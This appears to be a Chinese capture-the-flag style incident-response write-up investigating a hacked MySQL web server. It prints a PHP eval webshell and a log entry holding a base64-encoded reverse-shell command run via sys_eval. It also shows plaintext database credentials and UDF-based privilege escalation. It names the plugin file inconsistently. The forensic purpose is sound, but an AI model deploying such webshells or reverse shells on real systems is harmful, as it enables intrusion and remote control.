玄机——日志分析-mysql应急响应
在网站根目录下找到了黑客写入的shell
root@xuanji:/var/www/html# cat sh.php
1 2 <?php @eval($_POST['a']);?>
//ccfda79e-7aa1-4275-bc26-a6189eb9a20b
我们需要查看黑客反弹shell的IP。那我们查看一下网站访问日志。
192.168.200.2 - - [01/Aug/2023:02:18:18 +0000] "POST /adminer.php?username=root&sql=select%20sys_eval(%27echo%20YmFzaCAtaSA%2BJi9kZXYvdGNwLzE5Mi4xNjguMTAwLjEzLzc3NyAwPiYx%7Cbase64%20-d%27)%3B HTTP/1.1" 200 4025 "http://192.168.200.31:8005/adminer.php?username=root&sql=select%20sys_eval(%27ls%20-la%20%2Ftmp%2F%27)%3B" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0"
其中的base64语句解密后即为黑客反弹shell指令。
我们首先得找到mysql的配置文件,查看网站目录下的common.php
发现了数据库账密
root@xuanji:/var/www/html# cat common.php
<?php
$conn=mysqli_connect("localhost","root","334cc35b3c704593","cms","3306");
if(!$conn){
echo "数据库连接失败";
}
转到mysql
表下的func中,查看导入了什么.so
文件进行的提权。
MariaDB [mysql]> select * from func;
+----------+-----+-------------+----------+
| name | ret | dl | type |
+----------+-----+-------------+----------+
| sys_eval | 0 | mysqludf.so | function |
+----------+-----+-------------+----------+
至此我们得知提权文件的完整路径为/usr/lib/mysql/plugin/udf.so
。我们再回到数据库,使用现有的sys_eval
函数进行whoami查询即可得到黑客提取到的权限了。
MariaDB [(none)]> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| mysql
|
+--------------------+
1 row in set (0.01 sec)